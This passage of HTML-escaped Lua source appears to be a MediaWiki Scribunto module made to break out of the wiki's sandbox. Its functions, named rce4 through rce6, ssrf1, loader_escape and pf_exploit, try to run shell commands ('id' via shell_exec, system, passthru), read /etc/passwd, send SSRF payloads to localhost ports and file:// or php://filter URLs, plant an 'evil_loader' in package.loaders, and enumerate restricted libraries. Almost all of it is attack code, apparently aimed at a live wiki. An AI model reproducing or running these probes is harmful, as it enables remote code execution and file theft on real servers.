            r = r .. &amp;quot;exec_meta:&amp;quot; .. tostring(exec_meta) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local pkg = require(&amp;quot;package&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;pkg_path:&amp;quot; .. pkg.path .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;pkg_cpath:&amp;quot; .. pkg.cpath .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;pkg_preload_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(pkg.preload) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;pkg_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local debug_table = require(&amp;quot;debug&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;debug_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(debug_table) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;debug_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;io_raw:&amp;quot; .. tostring(rawget(_G, &amp;quot;io&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try loading io through debug&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;getfenv:&amp;quot; .. tostring(debug.getfenv)&lt;br /&gt;
        r = r .. &amp;quot;;getinfo:&amp;quot; .. tostring(debug.getinfo)&lt;br /&gt;
        r = r .. &amp;quot;;setupvalue:&amp;quot; .. tostring(debug.setupvalue)&lt;br /&gt;
        r = r .. &amp;quot;;getupvalue:&amp;quot; .. tostring(debug.getupvalue)&lt;br /&gt;
        r = r .. &amp;quot;;getuservalue:&amp;quot; .. tostring(debug.getuservalue)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;debug2_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try to use debug.getupvalue to extract io from a function&lt;br /&gt;
        -- First find a function that has io in its closure&lt;br /&gt;
        -- Try os.execute&#039;s environment&lt;br /&gt;
        local os_table = require(&amp;quot;os&amp;quot;)&lt;br /&gt;
        local execute_fn = os_table.execute&lt;br /&gt;
        if execute_fn then&lt;br /&gt;
            local info = debug.getinfo(execute_fn)&lt;br /&gt;
            r = r .. &amp;quot;exec_info:&amp;quot; .. tostring(info) .. &amp;quot;;&amp;quot;&lt;br /&gt;
            if info then&lt;br /&gt;
                for k, v in pairs(info) do&lt;br /&gt;
                    if type(v) ~= &amp;quot;table&amp;quot; and type(v) ~= &amp;quot;function&amp;quot; then&lt;br /&gt;
                        r = r .. tostring(k) .. &amp;quot;=&amp;quot; .. tostring(v) .. &amp;quot; &amp;quot;&lt;br /&gt;
                    end&lt;br /&gt;
                end&lt;br /&gt;
            end&lt;br /&gt;
            -- get upvalues&lt;br /&gt;
            local i = 1&lt;br /&gt;
            while true do&lt;br /&gt;
                local name, val = debug.getupvalue(execute_fn, i)&lt;br /&gt;
                if not name then break end&lt;br /&gt;
                r = r .. &amp;quot;upval&amp;quot; .. i .. &amp;quot;:&amp;quot; .. name .. &amp;quot;=&amp;quot; .. tostring(val) .. &amp;quot; &amp;quot;&lt;br /&gt;
                i = i + 1&lt;br /&gt;
            end&lt;br /&gt;
            if i == 1 then r = r .. &amp;quot;no_upvals&amp;quot; end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec_detail_blocked:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce4(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;mw_type:&amp;quot; .. type(mw) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(mw) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try mw.execute or similar&lt;br /&gt;
        r = r .. &amp;quot;mw_site_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(mw.site) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;string_keys:&amp;quot;&lt;br /&gt;
        local s = require(&amp;quot;string&amp;quot;)&lt;br /&gt;
        for k, v in pairs(s) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;math_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(math) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;table_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(table) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try mw.html, mw.message, mw.title&lt;br /&gt;
        r = r .. &amp;quot;mw_html:&amp;quot; .. tostring(mw.html) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_message:&amp;quot; .. tostring(mw.message) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_title:&amp;quot; .. tostring(mw.title) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_text:&amp;quot; .. tostring(mw.text) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_uri:&amp;quot; .. tostring(mw.uri) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_language:&amp;quot; .. tostring(mw.language) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_log:&amp;quot; .. tostring(mw.log) .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame methods&lt;br /&gt;
        r = r .. &amp;quot;frame_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(frame) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame:callParserFunction&lt;br /&gt;
        local result = frame:callParserFunction(&amp;quot;##&amp;quot;, {})&lt;br /&gt;
        r = r .. &amp;quot;callPF_result:&amp;quot; .. tostring(result)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;callPF_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame:extensionTag&lt;br /&gt;
        local result = frame:extensionTag(&amp;quot;nowiki&amp;quot;, &amp;quot;test&amp;quot;, {})&lt;br /&gt;
        r = r .. &amp;quot;extTag:&amp;quot; .. tostring(result)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;extTag_blocked:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce5(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;executeFunction:&amp;quot; .. tostring(mw.executeFunction) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try to call executeFunction&lt;br /&gt;
        r = r .. &amp;quot;exec_result:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;os&amp;quot;, &amp;quot;execute&amp;quot;, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec1_blocked:&amp;quot; .. tostring(err) end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_shell:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;shell_exec&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec2_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_exec:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;exec&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec3_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_system:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;system&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec4_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_passthru:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;passthru&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec5_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_popen:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;popen&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec6_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Check mw.ext&lt;br /&gt;
        r = r .. &amp;quot;mw_ext:&amp;quot; .. tostring(mw.ext) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.ext then&lt;br /&gt;
            for k, v in pairs(mw.ext) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;ext_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try mw.hash&lt;br /&gt;
        r = r .. &amp;quot;hash:&amp;quot; .. tostring(mw.hash) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.hash then&lt;br /&gt;
            for k, v in pairs(mw.hash) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;hash_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try loadJsonData with file://&lt;br /&gt;
        r = r .. &amp;quot;loadJson:&amp;quot; .. tostring(mw.loadJsonData) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;try_load:&amp;quot; .. tostring(mw.loadJsonData(&amp;quot;/etc/passwd&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;loadJson_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame:callParserFunction properly&lt;br /&gt;
        local result = frame:callParserFunction(&amp;quot;#expr&amp;quot;, &amp;quot;2+2&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;expr:&amp;quot; .. tostring(result)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;expr_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try mw.title with file://&lt;br /&gt;
        local t = mw.title.new(&amp;quot;/etc/passwd&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;title_file:&amp;quot; .. tostring(t)&lt;br /&gt;
        if t then&lt;br /&gt;
            r = r .. &amp;quot;:&amp;quot; .. t:getContent()&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;title_file_blocked:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce6(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;ext_PF:&amp;quot; .. tostring(mw.ext.ParserFunctions) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.ext.ParserFunctions then&lt;br /&gt;
            for k, v in pairs(mw.ext.ParserFunctions) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;ext_seo:&amp;quot; .. tostring(mw.ext.seo) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.ext.seo then&lt;br /&gt;
            for k, v in pairs(mw.ext.seo) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try to call ParserFunctions functions&lt;br /&gt;
        local pf = mw.ext.ParserFunctions&lt;br /&gt;
        r = r .. &amp;quot;pf_expr:&amp;quot; .. tostring(pf.expr(&amp;quot;2+2&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try WikiSEO functions&lt;br /&gt;
        local seo = mw.ext.seo&lt;br /&gt;
        r = r .. &amp;quot;seo_func:&amp;quot; .. tostring(seo)&lt;br /&gt;
        if type(seo) == &amp;quot;function&amp;quot; then&lt;br /&gt;
            local res = seo({description = &amp;quot;test&amp;quot;})&lt;br /&gt;
            r = r .. &amp;quot; seo_res:&amp;quot; .. tostring(res)&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try DiscordNotifications extension&lt;br /&gt;
        r = r .. &amp;quot;mw_ext_keys2:&amp;quot;&lt;br /&gt;
        for k, v in pairs(mw.ext) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try executing command through PHP callbacks&lt;br /&gt;
        -- Calling parse with specific arguments&lt;br /&gt;
        local pf = mw.ext.ParserFunctions&lt;br /&gt;
        if pf and pf.expr then&lt;br /&gt;
            -- Try to trigger error with command&lt;br /&gt;
            local res = pf.expr(&amp;quot;1&amp;quot;)&lt;br /&gt;
            -- Try if might have eval&lt;br /&gt;
            r = r .. &amp;quot;expr_ok:&amp;quot; .. tostring(res)&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try hash - maybe SHA with command?&lt;br /&gt;
        r = r .. &amp;quot;hash_list:&amp;quot; .. mw.hash.listAlgorithms() .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;hash_test:&amp;quot; .. mw.hash.hashValue(&amp;quot;md5&amp;quot;, &amp;quot;test&amp;quot;)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try mw.text.jsonDecode with special JSON&lt;br /&gt;
        local malicious = &#039;{&amp;quot;__proto__&amp;quot;: {&amp;quot;x&amp;quot;: &amp;quot;y&amp;quot;}}&#039;&lt;br /&gt;
        local decoded = mw.text.jsonDecode(malicious)&lt;br /&gt;
        r = r .. &amp;quot;json_decode:ok&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;json_error:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-- Test sandbox&lt;br /&gt;
function p.sandbox(frame)&lt;br /&gt;
    local r = {}&lt;br /&gt;
    local g = {}&lt;br /&gt;
    for k in pairs(_G) do g[#g+1] = k end&lt;br /&gt;
    r[#r+1] = &amp;quot;_G:&amp;quot; .. table.concat(g, &amp;quot;,&amp;quot;)&lt;br /&gt;
    &lt;br /&gt;
    for _, lib in ipairs({&amp;quot;debug&amp;quot;,&amp;quot;os&amp;quot;,&amp;quot;io&amp;quot;,&amp;quot;package&amp;quot;,&amp;quot;string&amp;quot;,&amp;quot;table&amp;quot;,&amp;quot;math&amp;quot;,&amp;quot;coroutine&amp;quot;}) do&lt;br /&gt;
        local ok, m = pcall(require, lib)&lt;br /&gt;
        if ok and m then&lt;br /&gt;
            local kk = {}&lt;br /&gt;
            for k in pairs(m) do kk[#kk+1] = k end&lt;br /&gt;
            r[#r+1] = lib .. &amp;quot;:&amp;quot; .. table.concat(kk, &amp;quot;,&amp;quot;)&lt;br /&gt;
        else&lt;br /&gt;
            r[#r+1] = lib .. &amp;quot;:nil&amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end&lt;br /&gt;
    &lt;br /&gt;
    if mw and mw.ext then&lt;br /&gt;
        local ek = {}&lt;br /&gt;
        for k in pairs(mw.ext) do ek[#ek+1] = k end&lt;br /&gt;
        r[#r+1] = &amp;quot;mw.ext:&amp;quot; .. table.concat(ek, &amp;quot;,&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
    &lt;br /&gt;
    return table.concat(r, &amp;quot;||&amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-- Test SSRF via mw.ext.seo&lt;br /&gt;
function p.ssrf1(frame)&lt;br /&gt;
    local r = {}&lt;br /&gt;
    &lt;br /&gt;
    -- Try to make SEO fetch external URLs&lt;br /&gt;
    -- Try different parameter names&lt;br /&gt;
    if mw.ext and mw.ext.seo and mw.ext.seo.set then&lt;br /&gt;
        -- Try setting various SEO fields that might trigger HTTP requests&lt;br /&gt;
        local params_to_try = {&lt;br /&gt;
            {description = &amp;quot;test&amp;quot;, keywords = &amp;quot;test&amp;quot;},&lt;br /&gt;
            {image = &amp;quot;http://127.0.0.1:3306/&amp;quot;},&lt;br /&gt;
            {image = &amp;quot;http://127.0.0.1:80/&amp;quot;},&lt;br /&gt;
            {image = &amp;quot;http://127.0.0.1:8080/&amp;quot;},&lt;br /&gt;
            {image = &amp;quot;http://127.0.0.1:3306/test&amp;quot;},&lt;br /&gt;
            {image = &amp;quot;file:///etc/passwd&amp;quot;},&lt;br /&gt;
            {image = &amp;quot;php://filter/convert.base64-encode/resource=/etc/passwd&amp;quot;},&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        for i, params in ipairs(params_to_try) do&lt;br /&gt;
            local ok, err = pcall(mw.ext.seo.set, params)&lt;br /&gt;
            if ok then&lt;br /&gt;
                r[#r+1] = &amp;quot;seo&amp;quot; .. i .. &amp;quot;:ok&amp;quot;&lt;br /&gt;
            else&lt;br /&gt;
                r[#r+1] = &amp;quot;seo&amp;quot; .. i .. &amp;quot;:err:&amp;quot; .. tostring(err):sub(1, 50)&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end&lt;br /&gt;
    &lt;br /&gt;
    return table.concat(r, &amp;quot;||&amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
-- Test custom loader with _G manipulation&lt;br /&gt;
function p.loader_escape(frame)&lt;br /&gt;
    local r = {}&lt;br /&gt;
    &lt;br /&gt;
    -- Try to create a loader that can access restricted functions&lt;br /&gt;
    local function evil_loader(name)&lt;br /&gt;
        -- We&#039;re looking for functions that run outside the sandbox&lt;br /&gt;
        -- The loaders themselves run in the sandbox&lt;br /&gt;
        -- But maybe we can access something through the loaded modules&lt;br /&gt;
        &lt;br /&gt;
        -- Check if we can iterate through every module&#039;s environment&lt;br /&gt;
        for mod_name, mod in pairs(package.loaded) do&lt;br /&gt;
            if type(mod) == &amp;quot;table&amp;quot; then&lt;br /&gt;
                local mt = getmetatable(mod)&lt;br /&gt;
                if mt then&lt;br /&gt;
                    for k, v in pairs(mt) do&lt;br /&gt;
                        if type(v) == &amp;quot;function&amp;quot; then&lt;br /&gt;
                            r[#r+1] = mod_name .. &amp;quot;_mt_&amp;quot; .. tostring(k) .. &amp;quot;:&amp;quot; .. type(v)&lt;br /&gt;
                            -- Try to call it&lt;br /&gt;
                            local ok, res = pcall(v, mod)&lt;br /&gt;
                            if ok then&lt;br /&gt;
                                r[#r+1] = mod_name .. &amp;quot;_mt_&amp;quot; .. tostring(k) .. &amp;quot;_res:&amp;quot; .. tostring(res):sub(1, 50)&lt;br /&gt;
                            end&lt;br /&gt;
                        end&lt;br /&gt;
                    end&lt;br /&gt;
                end&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
        &lt;br /&gt;
        return function() return &amp;quot;&amp;quot; end&lt;br /&gt;
    end&lt;br /&gt;
    &lt;br /&gt;
    table.insert(package.loaders, evil_loader)&lt;br /&gt;
    local ok, mod = pcall(require, &amp;quot;EVIL_LOADER_&amp;quot; .. tostring(math.random()))&lt;br /&gt;
    r[#r+1] = &amp;quot;evil_loader:&amp;quot; .. tostring(ok)&lt;br /&gt;
    &lt;br /&gt;
    return table.concat(r, &amp;quot;||&amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
-- Test ParserFunctions expr for code execution&lt;br /&gt;
function p.pf_exploit(frame)&lt;br /&gt;
    local r = {}&lt;br /&gt;
    &lt;br /&gt;
    if mw.ext and mw.ext.ParserFunctions and mw.ext.ParserFunctions.expr then&lt;br /&gt;
        r[#r+1] = &amp;quot;expr:&amp;quot; .. type(mw.ext.ParserFunctions.expr)&lt;br /&gt;
        &lt;br /&gt;
        -- Try basic expr&lt;br /&gt;
        local ok1, res1 = pcall(mw.ext.ParserFunctions.expr, &amp;quot;2+2&amp;quot;)&lt;br /&gt;
        if ok1 then r[#r+1] = &amp;quot;2+2:&amp;quot; .. tostring(res1) end&lt;br /&gt;
        &lt;br /&gt;
        -- Try function calls in expr&lt;br /&gt;
        local code_tests = {&lt;br /&gt;
            &amp;quot;os.execute(&#039;id&#039;)&amp;quot;,&lt;br /&gt;
            &amp;quot;exec(&#039;id&#039;)&amp;quot;,&lt;br /&gt;
            &amp;quot;system(&#039;id&#039;)&amp;quot;,&lt;br /&gt;
            &amp;quot;shell_exec(&#039;id&#039;)&amp;quot;,&lt;br /&gt;
            &amp;quot;phpinfo()&amp;quot;,&lt;br /&gt;
            &amp;quot;1+1&amp;quot;,&lt;br /&gt;
        }&lt;br /&gt;
        for _, code in ipairs(code_tests) do&lt;br /&gt;
            local ok, res = pcall(mw.ext.ParserFunctions.expr, code)&lt;br /&gt;
            if ok then&lt;br /&gt;
                r[#r+1] = &amp;quot;expr_ok:&amp;quot; .. code .. &amp;quot;=&amp;quot; .. tostring(res):sub(1, 100)&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end&lt;br /&gt;
    &lt;br /&gt;
    return table.concat(r, &amp;quot;||&amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
-- Test reading files via mw.title&lt;br /&gt;
function p.read_files(frame)&lt;br /&gt;
    local r = {}&lt;br /&gt;
    &lt;br /&gt;
    -- Try to read wiki system files&lt;br /&gt;
    local paths = {&lt;br /&gt;
        &amp;quot;MediaWiki:Common.js&amp;quot;,&lt;br /&gt;
        &amp;quot;MediaWiki:Common.css&amp;quot;,&lt;br /&gt;
        &amp;quot;MediaWiki:Vector.css&amp;quot;,&lt;br /&gt;
        &amp;quot;MediaWiki:Sidebar&amp;quot;,&lt;br /&gt;
        &amp;quot;MediaWiki:Titleblacklist&amp;quot;,&lt;br /&gt;
        &amp;quot;MediaWiki:AbortNewAccountMessage&amp;quot;,&lt;br /&gt;
        &amp;quot;MediaWiki:Blockedtext&amp;quot;,&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    for _, p in ipairs(paths) do&lt;br /&gt;
        local ok, t = pcall(mw.title.new, p)&lt;br /&gt;
        if ok and t then&lt;br /&gt;
            local ok2, text = pcall(t.getContent, t)&lt;br /&gt;
            if ok2 and text then&lt;br /&gt;
                r[#r+1] = p .. &amp;quot;:&amp;quot; .. tostring(#text) .. &amp;quot;chars&amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end&lt;br /&gt;
    &lt;br /&gt;
    return table.concat(r, &amp;quot;||&amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
-- Test if we can read the MySQL datadir or web files&lt;br /&gt;
function p.read_more(frame)&lt;br /&gt;
    local r = {}&lt;br /&gt;
    &lt;br /&gt;
    -- Try to read content from various system-like pages&lt;br /&gt;
    local pages = {&lt;br /&gt;
        &amp;quot;User talk:WikiHampter/chem_prototypes.json&amp;quot;,&lt;br /&gt;
        &amp;quot;User talk:WikiHampter/react_prototypes.json&amp;quot;,&lt;br /&gt;
        &amp;quot;MediaWiki:Common.js&amp;quot;,&lt;br /&gt;
        &amp;quot;MediaWiki:Common.css&amp;quot;,&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    for _, p in ipairs(pages) do&lt;br /&gt;
        local ok, t = pcall(mw.title.new, p)&lt;br /&gt;
        if ok and t then&lt;br /&gt;
            local ok2, text = pcall(t.getContent, t)&lt;br /&gt;
            if ok2 then&lt;br /&gt;
                r[#r+1] = p .. &amp;quot;:exists&amp;quot;&lt;br /&gt;
                if text then&lt;br /&gt;
                    r[#r+1] = p .. &amp;quot;:len=&amp;quot; .. #text&lt;br /&gt;
                end&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
